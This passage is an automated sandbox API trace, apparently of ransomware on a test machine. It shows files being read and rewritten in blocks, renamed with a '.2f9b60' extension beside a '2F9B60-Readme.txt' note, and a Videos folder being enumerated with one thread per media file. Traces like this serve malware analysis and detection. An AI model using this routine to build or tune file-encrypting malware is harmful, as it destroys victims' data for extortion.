lpNumberOfBytesWritten=0x258cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.651] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x102d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.651] ReadFile (in: hFile=0xdac, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x258cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x258cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.651] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x102d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0094.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fca0) returned 1 [0094.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0094.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc70) returned 1 [0094.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.652] WriteFile (in: hFile=0xdac, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x258cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x258cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ef00 [0094.653] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.653] WriteFile (in: hFile=0xdac, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x258cfa90, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x258cfa90*=0x154, lpOverlapped=0x0) returned 1 [0094.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0094.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fcd0) returned 1 [0094.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85fcd0 [0094.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0094.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc70) returned 1 [0094.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1cd97300 [0094.656] sprintf (in: _Dest=0x1cd97300, _Format="%c%c" | out: _Dest="f7") returned 2 [0094.656] sprintf (in: _Dest=0x1cd97302, _Format="%c%c" | out: _Dest="13") returned 2 [0094.656] sprintf (in: _Dest=0x1cd97304, _Format="%c%c" | out: _Dest="bd") returned 2 [0094.656] sprintf (in: _Dest=0x1cd97306, _Format="%c%c" | out: _Dest="90") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97308, _Format="%c%c" | out: _Dest="23") returned 2 [0094.657] sprintf (in: _Dest=0x1cd9730a, _Format="%c%c" | out: _Dest="d0") returned 2 [0094.657] sprintf (in: _Dest=0x1cd9730c, _Format="%c%c" | out: _Dest="1a") returned 2 [0094.657] sprintf (in: _Dest=0x1cd9730e, _Format="%c%c" | out: _Dest="48") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97310, _Format="%c%c" | out: _Dest="99") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97312, _Format="%c%c" | out: _Dest="b5") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97314, _Format="%c%c" | out: _Dest="13") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97316, _Format="%c%c" | out: _Dest="e6") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97318, _Format="%c%c" | out: _Dest="d6") returned 2 [0094.657] sprintf (in: _Dest=0x1cd9731a, _Format="%c%c" | out: _Dest="76") returned 2 [0094.657] sprintf (in: _Dest=0x1cd9731c, _Format="%c%c" | out: _Dest="61") returned 2 [0094.657] sprintf (in: _Dest=0x1cd9731e, _Format="%c%c" | out: _Dest="23") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97320, _Format="%c%c" | out: _Dest="41") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97322, _Format="%c%c" | out: _Dest="73") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97324, _Format="%c%c" | out: _Dest="c9") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97326, _Format="%c%c" | out: _Dest="6f") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97328, _Format="%c%c" | out: _Dest="4f") returned 2 [0094.657] sprintf (in: _Dest=0x1cd9732a, _Format="%c%c" | out: _Dest="a1") returned 2 [0094.657] sprintf (in: _Dest=0x1cd9732c, _Format="%c%c" | out: _Dest="f4") returned 2 [0094.657] sprintf (in: _Dest=0x1cd9732e, _Format="%c%c" | out: _Dest="7e") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97330, _Format="%c%c" | out: _Dest="67") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97332, _Format="%c%c" | out: _Dest="7d") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97334, _Format="%c%c" | out: _Dest="8c") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97336, _Format="%c%c" | out: _Dest="dc") returned 2 [0094.657] sprintf (in: _Dest=0x1cd97338, _Format="%c%c" | out: _Dest="c5") returned 2 [0094.658] sprintf (in: _Dest=0x1cd9733a, _Format="%c%c" | out: _Dest="fc") returned 2 [0094.658] sprintf (in: _Dest=0x1cd9733c, _Format="%c%c" | out: _Dest="02") returned 2 [0094.658] sprintf (in: _Dest=0x1cd9733e, _Format="%c%c" | out: _Dest="d9") returned 2 [0094.658] sprintf (in: _Dest=0x1cd97340, _Format="%c%c" | out: _Dest="49") returned 2 [0094.658] sprintf (in: _Dest=0x1cd97342, _Format="%c%c" | out: _Dest="16") returned 2 [0094.658] RtlInitAnsiString (in: DestinationString=0x258cfb08, SourceString="f713bd9023d01a4899b513e6d67661234173c96f4fa1f47e677d8cdcc5fc02d94916" | out: DestinationString="f713bd9023d01a4899b513e6d67661234173c96f4fa1f47e677d8cdcc5fc02d94916") [0094.658] RtlAnsiStringToUnicodeString (in: DestinationString=0x258cfad8, SourceString="f713bd9023d01a4899b513e6d67661234173c96f4fa1f47e677d8cdcc5fc02d94916", AllocateDestinationString=1 | out: DestinationString="f713bd9023d01a4899b513e6d67661234173c96f4fa1f47e677d8cdcc5fc02d94916") returned 0x0 [0094.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad700 [0094.658] wcscat (in: _Dest=0x1b85b6d0, _Source="f713bd9023d01a489" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\f713bd9023d01a489") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\f713bd9023d01a489" [0094.658] wcscat (in: _Dest=0x1b85b6d0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\f713bd9023d01a489.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\f713bd9023d01a489.2f9b60" [0094.658] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\f713bd9023d01a489.2f9b60", NtPathName=0x258cfab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\f713bd9023d01a489.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce11600 [0094.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 [0094.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.659] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x258cfb18, FileInformation=0x258cfb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x258cfb18, FileInformation=0x258cfb28) returned 0x0 [0094.660] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x258cfb18, FileInformation=0x258cfb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b6d0) returned 1 [0094.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad700) returned 1 [0094.662] FlushFileBuffers (hFile=0xdac) returned 1 [0094.663] CloseHandle (hObject=0xdac) returned 1 [0094.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.664] wcscpy (in: _Dest=0x1b8664c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.664] wcscat (in: _Dest=0x1b8664c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.664] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0x20 [0094.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866640) returned 1 Thread: id = 571 os_tid = 0xeb0 [0094.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b866640 [0094.667] wcscpy (in: _Dest=0x1b866640, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0094.667] wcscat (in: _Dest=0x1b866640, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0094.667] wcscat (in: _Dest=0x1b866640, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\*" [0094.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63170 [0094.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\*", lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24857b0, ftCreationTime.dwHighDateTime=0x1d5e6cc, ftLastAccessTime.dwLowDateTime=0xf4bb70e0, ftLastAccessTime.dwHighDateTime=0x1d5e820, ftLastWriteTime.dwLowDateTime=0xf4bb70e0, ftLastWriteTime.dwHighDateTime=0x1d5e820, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c970 [0094.667] wcscmp (_String1=".", _String2=".") returned 0 [0094.667] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24857b0, ftCreationTime.dwHighDateTime=0x1d5e6cc, ftLastAccessTime.dwLowDateTime=0xf4bb70e0, ftLastAccessTime.dwHighDateTime=0x1d5e820, ftLastWriteTime.dwLowDateTime=0xf4bb70e0, ftLastWriteTime.dwHighDateTime=0x1d5e820, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.667] wcscmp (_String1="..", _String2=".") returned 1 [0094.667] wcscmp (_String1="..", _String2="..") returned 0 [0094.667] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b0bed0, ftCreationTime.dwHighDateTime=0x1d5e323, ftLastAccessTime.dwLowDateTime=0x1c71a780, ftLastAccessTime.dwHighDateTime=0x1d5e0c4, ftLastWriteTime.dwLowDateTime=0x1c71a780, ftLastWriteTime.dwHighDateTime=0x1d5e0c4, nFileSizeHigh=0x0, nFileSizeLow=0x34f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="-aeSmM1BjIs1zM.flv", cAlternateFileName="-AESMM~1.FLV")) returned 1 [0094.668] wcscmp (_String1="-aeSmM1BjIs1zM.flv", _String2=".") returned -1 [0094.668] wcscmp (_String1="-aeSmM1BjIs1zM.flv", _String2="..") returned -1 [0094.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad700 [0094.668] wcscpy (in: _Dest=0x1b7ad700, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0094.668] wcscat (in: _Dest=0x1b7ad700, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0094.668] wcscat (in: _Dest=0x1b7ad700, _Source="-aeSmM1BjIs1zM.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\-aeSmM1BjIs1zM.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\-aeSmM1BjIs1zM.flv" [0097.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde0 [0097.015] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83251920, ftCreationTime.dwHighDateTime=0x1d5e11f, ftLastAccessTime.dwLowDateTime=0x174a6d80, ftLastAccessTime.dwHighDateTime=0x1d5e2fb, ftLastWriteTime.dwLowDateTime=0x174a6d80, ftLastWriteTime.dwHighDateTime=0x1d5e2fb, nFileSizeHigh=0x0, nFileSizeLow=0x8b89, dwReserved0=0x0, dwReserved1=0x0, cFileName="4YF49bsCr1sEr.avi", cAlternateFileName="4YF49B~1.AVI")) returned 1 [0097.015] wcscmp (_String1="4YF49bsCr1sEr.avi", _String2=".") returned 1 [0097.015] wcscmp (_String1="4YF49bsCr1sEr.avi", _String2="..") returned 1 [0097.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027a1f0 [0097.015] wcscpy (in: _Dest=0x2027a1f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0097.015] wcscat (in: _Dest=0x2027a1f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0097.015] wcscat (in: _Dest=0x2027a1f0, _Source="4YF49bsCr1sEr.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\4YF49bsCr1sEr.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\4YF49bsCr1sEr.avi" [0097.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x102c [0097.015] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb60a9f70, ftCreationTime.dwHighDateTime=0x1d5e77f, ftLastAccessTime.dwLowDateTime=0xe68f98e0, ftLastAccessTime.dwHighDateTime=0x1d5dfdb, ftLastWriteTime.dwLowDateTime=0xe68f98e0, ftLastWriteTime.dwHighDateTime=0x1d5dfdb, nFileSizeHigh=0x0, nFileSizeLow=0x12ead, dwReserved0=0x0, dwReserved1=0x0, cFileName="B2O9zVKAQkb.swf", cAlternateFileName="B2O9ZV~1.SWF")) returned 1 [0097.015] wcscmp (_String1="B2O9zVKAQkb.swf", _String2=".") returned 1 [0097.016] wcscmp (_String1="B2O9zVKAQkb.swf", _String2="..") returned 1 [0097.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027a290 [0097.016] wcscpy (in: _Dest=0x2027a290, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0097.016] wcscat (in: _Dest=0x2027a290, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0097.016] wcscat (in: _Dest=0x2027a290, _Source="B2O9zVKAQkb.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\B2O9zVKAQkb.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\B2O9zVKAQkb.swf" [0097.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1030 [0097.017] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad185d0, ftCreationTime.dwHighDateTime=0x1d5dd38, ftLastAccessTime.dwLowDateTime=0x9bbba6d0, ftLastAccessTime.dwHighDateTime=0x1d5e803, ftLastWriteTime.dwLowDateTime=0x9bbba6d0, ftLastWriteTime.dwHighDateTime=0x1d5e803, nFileSizeHigh=0x0, nFileSizeLow=0x9dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="cUI8WslED5rfjD.swf", cAlternateFileName="CUI8WS~1.SWF")) returned 1 [0097.017] wcscmp (_String1="cUI8WslED5rfjD.swf", _String2=".") returned 1 [0097.017] wcscmp (_String1="cUI8WslED5rfjD.swf", _String2="..") returned 1 [0097.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027a330 [0097.017] wcscpy (in: _Dest=0x2027a330, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0097.017] wcscat (in: _Dest=0x2027a330, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0097.017] wcscat (in: _Dest=0x2027a330, _Source="cUI8WslED5rfjD.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\cUI8WslED5rfjD.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\cUI8WslED5rfjD.swf" [0097.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1034 [0097.018] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e405bc0, ftCreationTime.dwHighDateTime=0x1d5e3a4, ftLastAccessTime.dwLowDateTime=0x1b079e50, ftLastAccessTime.dwHighDateTime=0x1d5e384, ftLastWriteTime.dwLowDateTime=0x1b079e50, ftLastWriteTime.dwHighDateTime=0x1d5e384, nFileSizeHigh=0x0, nFileSizeLow=0x17d53, dwReserved0=0x0, dwReserved1=0x0, cFileName="DsldEBjFE1oQIR6Ff43L.mkv", cAlternateFileName="DSLDEB~1.MKV")) returned 1 [0097.018] wcscmp (_String1="DsldEBjFE1oQIR6Ff43L.mkv", _String2=".") returned 1 [0097.018] wcscmp (_String1="DsldEBjFE1oQIR6Ff43L.mkv", _String2="..") returned 1 [0097.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a59c0 [0097.018] wcscpy (in: _Dest=0x1b7a59c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0097.018] wcscat (in: _Dest=0x1b7a59c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0097.018] wcscat (in: _Dest=0x1b7a59c0, _Source="DsldEBjFE1oQIR6Ff43L.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\DsldEBjFE1oQIR6Ff43L.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\DsldEBjFE1oQIR6Ff43L.mkv" [0097.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a59c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1038 [0097.019] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36088910, ftCreationTime.dwHighDateTime=0x1d5d850, ftLastAccessTime.dwLowDateTime=0xdca7b8c0, ftLastAccessTime.dwHighDateTime=0x1d5e081, ftLastWriteTime.dwLowDateTime=0xdca7b8c0, ftLastWriteTime.dwHighDateTime=0x1d5e081, nFileSizeHigh=0x0, nFileSizeLow=0x1548b, dwReserved0=0x0, dwReserved1=0x0, cFileName="gcKFmsr4QLcs5.mkv", cAlternateFileName="GCKFMS~1.MKV")) returned 1 [0097.019] wcscmp (_String1="gcKFmsr4QLcs5.mkv", _String2=".") returned 1 [0097.019] wcscmp (_String1="gcKFmsr4QLcs5.mkv", _String2="..") returned 1 [0097.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027a3d0 [0097.019] wcscpy (in: _Dest=0x2027a3d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0097.019] wcscat (in: _Dest=0x2027a3d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0097.020] wcscat (in: _Dest=0x2027a3d0, _Source="gcKFmsr4QLcs5.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\gcKFmsr4QLcs5.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\gcKFmsr4QLcs5.mkv" [0097.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x103c [0097.020] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce50860, ftCreationTime.dwHighDateTime=0x1d5deb1, ftLastAccessTime.dwLowDateTime=0x27912910, ftLastAccessTime.dwHighDateTime=0x1d5e6c8, ftLastWriteTime.dwLowDateTime=0x27912910, ftLastWriteTime.dwHighDateTime=0x1d5e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x13d55, dwReserved0=0x0, dwReserved1=0x0, cFileName="GGcritMEr.mkv", cAlternateFileName="GGCRIT~1.MKV")) returned 1 [0097.020] wcscmp (_String1="GGcritMEr.mkv", _String2=".") returned 1 [0097.020] wcscmp (_String1="GGcritMEr.mkv", _String2="..") returned 1 [0097.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a40b0 [0097.020] wcscpy (in: _Dest=0x202a40b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0097.020] wcscat (in: _Dest=0x202a40b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0097.020] wcscat (in: _Dest=0x202a40b0, _Source="GGcritMEr.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\GGcritMEr.mkv") returned="C:\\Users\\5p5NrGJn0jS 